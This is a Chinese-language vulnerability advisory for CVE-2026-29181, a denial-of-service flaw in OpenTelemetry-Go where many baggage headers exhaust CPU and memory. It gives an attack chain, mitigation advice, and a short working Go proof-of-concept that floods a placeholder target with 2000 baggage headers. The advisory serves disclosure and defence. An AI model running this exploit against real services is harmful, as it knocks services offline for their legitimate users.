CVE-2026-29181 CVSS 7.5 高危

CVE-2026-29181 OpenTelemetry-Go 拒绝服务漏洞

披露日期: 2026-04-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-29181

漏洞类型

拒绝服务

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

OpenTelemetry-Go

漏洞概述

OpenTelemetry-Go 是 OpenTelemetry 的 Go 语言实现。在版本 1.36.0 至 1.40.0 中，存在一个安全漏洞。该漏洞与多值 baggage header 的提取逻辑有关。系统在解析时会独立处理每个 header 字段值并聚合成员。尽管单个值受到 8192 字节的解析限制，但攻击者可以通过发送大量 baggage header 行来绕过此限制，从而导致 CPU 资源耗尽和内存分配激增。该漏洞在版本 1.41.0 中已被修复。

技术细节

该漏洞的根源在于 OpenTelemetry-Go 对 HTTP 头中 `baggage` 字段的处理机制。当处理多值 baggage header 时，解析器会逐个解析每个 header 字段值，并将解析出的成员进行聚合。虽然代码中存在针对单个 header 值 8192 字节的长度限制，以防止单次解析过载，但并未限制 header 的数量。攻击者利用这一逻辑缺陷，可以在 HTTP 请求中包含成百上千个 `baggage` header 行。由于每个 header 都会被独立解析并累积处理，这会导致服务端 CPU 负载急剧增加和内存分配请求暴涨，最终触发拒绝服务，使合法用户无法访问服务。

攻击链分析

STEP 1

侦察

识别使用 OpenTelemetry-Go 1.36.0 到 1.40.0 版本的 Web 服务或应用程序。

STEP 2

制作载荷

构造包含大量（例如数千个）'baggage' header 字段的 HTTP 请求。每个字段的值保持在 8192 字节以下以绕过单值限制。

STEP 3

发送攻击

将构造好的恶意 HTTP 请求发送给目标服务器。

STEP 4

资源耗尽

目标服务器解析器独立处理并聚合这些 header，导致 CPU 和内存资源被大量占用。

STEP 5

拒绝服务

服务器因资源耗尽无法处理合法请求，导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

package main

import (
	"fmt"
	"net/http"
)

func main() {
	// Target endpoint vulnerable to CVE-2026-29181
	targetURL := "http://vulnerable-target:8080/api"

	// Construct a malicious HTTP request
	req, err := http.NewRequest("GET", targetURL, nil)
	if err != nil {
		panic(err)
	}

	// Exploit: Add a large number of 'baggage' headers.
	// The parser aggregates these, causing high CPU/Memory usage.
	// Each value is under the 8192 byte limit, but the volume causes the DoS.
	for i := 0; i < 2000; i++ {
		req.Header.Add("baggage", fmt.Sprintf("key%d=val%d", i, i))
	}

	// Send the request
	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Attack sent, target likely unresponsive:", err)
		return
	}
	defer resp.Body.Close()

	fmt.Printf("Request completed with status: %s\n", resp.Status)
}

影响范围

OpenTelemetry-Go >= 1.36.0, <= 1.40.0

防御指南

临时缓解措施

如果无法立即升级，建议在应用网关或反向代理（如 Nginx、Envoy）层面配置限制策略，限制单个 HTTP 请求中 Header 的数量或总大小，从而拦截包含大量 baggage header 的恶意请求。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表